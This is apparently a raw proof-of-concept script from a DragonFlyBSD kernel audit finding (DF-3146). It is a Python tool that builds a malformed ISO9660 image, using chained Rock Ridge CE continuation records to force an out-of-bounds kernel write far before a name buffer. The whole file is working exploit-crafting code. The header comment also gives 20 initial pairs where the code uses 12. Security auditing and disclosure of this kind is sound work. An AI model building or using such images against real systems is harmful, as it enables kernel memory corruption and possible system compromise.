⬢ DragonFlyBSD Kernel Audit
DF-3146 / craft_ce.py
← back to finding ↓ download raw
#!/usr/bin/env python3
# CE-chained large-N cold-rewind image: entry 'C' SUSP = [NM4+filler]*20 + CE,
# then M continuation blocks of [NM4+filler]*252 + CE, final block with the
# payload NM.  Total rewinds N = 20 + 252*M  ->  write at d_name - 65536*N.
import struct, sys
import craft_img as c

def ce(blk, off, ln):
    return c.susp('CE', c.b733(blk) + c.b733(off) + c.b733(ln))

def build(M, payload, nsec):
    img = bytearray(b'\x00' * (c.BSZ * nsec))
    pvd = bytearray(c.BSZ)
    pvd[0] = 1; pvd[1:6] = b'CD001'; pvd[6] = 1
    pvd[8:40] = b'DF3146 CE CHAIN'.ljust(32)
    pvd[40:72] = b'DF3146'.ljust(32)
    pvd[80:88] = c.b733(nsec)
    pvd[120:124] = c.b723(1); pvd[124:128] = c.b723(1)
    pvd[128:132] = c.b723(c.BSZ)
    pvd[132:140] = c.b733(10)
    root = (bytes([34, 0]) + c.b733(c.ROOT_EXT) + c.b733(c.BSZ) + bytes(7) +
            bytes([2, 0, 0]) + c.b723(1) + bytes([1, 0]))
    pvd[156:190] = root
    pvd[881] = 1
    img[16*c.BSZ:17*c.BSZ] = pvd
    term = bytearray(c.BSZ); term[0] = 255; term[1:6] = b'CD001'; term[6] = 1
    img[17*c.BSZ:18*c.BSZ] = term

    first_ce = 40
    ce_blocks = [first_ce + i for i in range(M)]
    final_blk = first_ce + M

    # continuation blocks: 252 pairs + CE(next)
    pair = c.nm4() + c.filler()
    for i, b in enumerate(ce_blocks):
        body = pair * 252
        nxt = ce_blocks[i+1] if i+1 < M else final_blk
        body += ce(nxt, 0, 5 + len(payload) + 4)  # final block: payload + ST
        assert len(body) <= c.BSZ, len(body)
        img[b*c.BSZ:b*c.BSZ+len(body)] = body
    # final block: payload NM + ST
    fin = c.nm_payload(payload) + c.st()
    img[final_blk*c.BSZ:final_blk*c.BSZ+len(fin)] = fin

    # root dir: . .. C(pair*20 + CE(first_ce,0,2048)) Y
    susp_dot = c.sp(0) + c.er() + c.px(0o040555, 1, 0, 0)
    susp_c = pair * 12 + ce(ce_blocks[0], 0, c.BSZ)
    assert 34 + len(susp_c) <= 255
    blk = (c.dirrec(b'\x00', c.ROOT_EXT, c.BSZ, 2, susp_dot) +
           c.dirrec(b'\x01', c.ROOT_EXT, c.BSZ, 2, susp_dot) +
           c.dirrec(b'C', 36, c.BSZ, 0, susp_c + c.px() + c.st()) +
           c.dirrec(b'Y', 36, c.BSZ, 0, c.px() + c.st()))
    img[c.ROOT_EXT*c.BSZ:c.ROOT_EXT*c.BSZ+len(blk)] = blk
    return bytes(img)

if __name__ == '__main__':
    M = int(sys.argv[1]); out = sys.argv[2]
    payload = bytes(((0x41 + i) & 0xff) for i in range(16))
    nsec = 40 + M + 2 + 8
    open(out, 'wb').write(build(M, payload, nsec))
    print(f'wrote {out}: M={M} blocks, N={12+252*M} rewinds, reach=-{12+252*M}*64KB')